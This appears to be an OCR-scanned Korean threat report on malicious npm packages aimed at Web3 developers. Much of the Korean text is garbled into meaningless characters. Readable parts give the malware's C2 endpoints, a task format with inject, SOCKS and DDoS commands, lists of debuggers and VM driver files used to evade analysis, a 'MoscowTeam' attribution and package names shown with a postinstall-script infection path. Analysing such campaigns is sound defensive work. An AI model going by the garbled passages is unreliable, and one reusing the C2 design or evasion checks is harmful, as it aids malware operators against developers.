GET /api/payload/{id} encrypt.dil CIREE
POST /api/task_result A Aut 20
POST /api/register #EPC MM HE S5
GET /api/exe encrypt_exe.exe CI2Z=
GET /api/message/{UUID} oot A A
GET /api/status/{UUID} | =3t Alell E71 (10X F7)
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3)C2 EfA3 B 2=

C27t U2{EL= EjAT HHE2 of2fiet 22 JSON WAOZ HMEE|H, LIS PEOA X2| Z1E ChA| Eush=

T2 Ch

{
"task_id"™:  "<EfA3 ID>"
"type": "kill | sleep | inject | exec | socks | scan | deploy | interval”,
"payload_id": "<H|O|2E ID>"

}

LS PEOIM C22 T&Sk= M2 21 SE ’JESI2 Ch3at 25Uk

{"status":"done""result":"injected"} //DLL QI-TZN|A 2 2=
{"status":"done""result":"hits=<n>"} // DDoS &2 Zz} (hits 7I2E] Z&}
{"status":"done""result";"socks_ack"} // SOCKS5 D=A| MH 2tz
{"status":"done""result";"executed"} // & H A tF
{"status":"done""result":"failed"}  // A £

C2ZEE DDoS/224 CHANEE-X|EAIZHE $AI8H= ni2t0|E 2XFE (target, port, duration)= S

LHE|0], AHTET DDoS 32 715k LHEE JA=AH2Z 2RI ASLICE

Bl 2| 71

OfH SHOIM AfdFE= 2P

b
—_ =

=

o

OfEA| 27| 2ldl T2l 2| 7| HE ALSRLICE
1) etE|-24 =3 BX]| (13%)

Y B2 Z2HA 55 F o] Hot B E5Ut BX|EH ofd "RIE FAl SHELIC

S0l A

=25 BIX| Chal =AM~
C[HA x64dbg.exe, x32dbg.exe, OllyDbg.exe
C|AO{HIER ida.exe, ida64.exe
HES?Z 24 wireshark.exe, Fiddler.exe, HTTPDebugger.exe
TZMA 2LE procmon.exe, procexp.exe, processhacker.exe
Y 24 pestudio.exe, dnspy.exe
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2) 7kdzt &3 EiX

C\Windows\System32\drivers\ Z=Z°| =2l0|t DY =X EE 2QIsHH,  vmmouse.sys, vmhgfs.sys
(vmware), VBoxMouse.sys, VBoxGuest.sys (VirtualBox) II0| EIX|E|H VM-MEHIA StHOZ THEESHO]
D2NAE EA| SELLICL

otMIC & (Attribution) A

BM 31d = U5 PECl EX HZ2| HHoA ‘MoscowTeam_Steal' O|2h= 24 SO HA|XQI AlEHX|I}
Solz|AELICH
o AlEXE=E V= AMTC IHUZR|Ol= E=XHSHA| QUUCH, O ZZHO| AFRE C2 MH <A 7IZ 1oC

ClIO|EfH|O] A0 SEEIX| 942 Al Q1 etz mofE|USL|Ct

%, 7|Z0l| EHXIX| k2 A

—

OB

B2 JBOALE AfS| 24/El olmetE ARgotn 2SS olulBiLich

"MoscowTeam"(Moscow:2ATHC| Ho{Al HH)0[2h= ZFHAQI X[ Haiguh EfF| CHa S=0| 2HA[OtA

AO|H HZE| OF0| X&h-2det AoZ AT M duza/Aurora Stealer AETER RARSICHE M2 S22
O

OtH SH2| Hi=olli= BAOIORAS 7[HCZ ESdt= STl 2y AL UAS A2 FFELICL
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4. QEAA BTV Wo| 2T Al AIZaIE AL 9 2
x|z nom FZAO] Web3 7MYt £ 91 ot M7 £ faist of HF|XI7h Ci HIEE! ARAIO|
toI
siiet 212 ddjidd56400[2Hs npm APHS S¢f SEEIION, Had| oM Iy XIS MARBIES Qs
= 27 whAlo|M 3t T TSt SElE SAElLIC

SZA= WAL AE 17 [X|E 2ddks Z=E OfL|2f, Al W=7t A2 I3LT'_ %' S0|= Z2HE
ojd, Al OfOMEY 2 &Sk QF =7, AREAIL QiLlol| et Mdichs 4 ATRENK] 34 Z22

%, O A2 ‘Al & 28 XAlof| LixiEl 2| SE'S LRth= FHollM 3EXP Al SARHOZ 2&oh=
PS

] Pro Teams Pricing Documentation

Ill]m O\ Search packages m

‘ & 22 Packages &% 0 Organizations

Packages =

hardhat-gas-profiler-plugin

Zero-config gas profiling for Hardhat projects

ddjidd5648 published 1.7.86 « 6 days ago

ddjidd5640

foundry-deploy-helper
Multi-chain Foundry deployment utilities

ddjidds64e published 1.8.96 « 6 days ago

ethers-multicall-utils
Batch RPC calls with ABI resolution for ethers ve
ddjidd5648 published 1.3.15 - 6 days ago

solana-pda-helper
Automatic PDA derivation for Anchor programs

ddjidd5640 published 1.0.46 + 6 days ago

chainlink-price-feed-aggregator
Unified Chainlink feeds across 15+ EVM chains

ddjidd5640 published 1.1.12 « 6 days ago
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24 71

OftH Zm|QloflM =tRlEl ofd 7 |X|= IA| F JHK| WElZ PIFE|0 A/USLICE

A& Fd CHE THZ | K] Od|A| BHY 7|5
Web3 7Hgf =3 wallet-backup-verifier S V) SINFRPN AR e RS P2

env-security-scanner, chain-key-
validator, defi-env-auditor &

EHMoZ= HaHRl W =7ME 20[X|2 LHRo= 2fF AMHerel S, 2z FE B4l Al O0|THE 2=

— - 1
S22 531 M 4% S ChUtt oY 7150| S74H UUBLIC

o 7 |X| &M 24
1.npm &X| EH| - postinstall AIZEES E5t A5 A

2= I§7|X|0ll= postinstall AIZE 7} TSHE|0] L0, THF [X|7F MX|E|= &7t HEO| AFX} REF gl0] oy
TET}L XS AHEEE FAHE0 UUSLIC
OllZ £0{ hardhat-gas-profiler-pluginO|2k= O|Z2| I7|X|= hardhat, web3, blockchain, ethereum S Web3

THLXIOA| XI5t 7|1REE S22l M =22 LRISLICE J2{Lt package.json?| scripts &S0fl= CkSat
20| 2F EHIRICE Xts HEdh= s FHO| A= JA/}SLIC.

o -H=

SolEl 7 WAL Cgut ZALIC

- I s C2 =2

. L g, 132 =0 Al

of Qe FAL - x|
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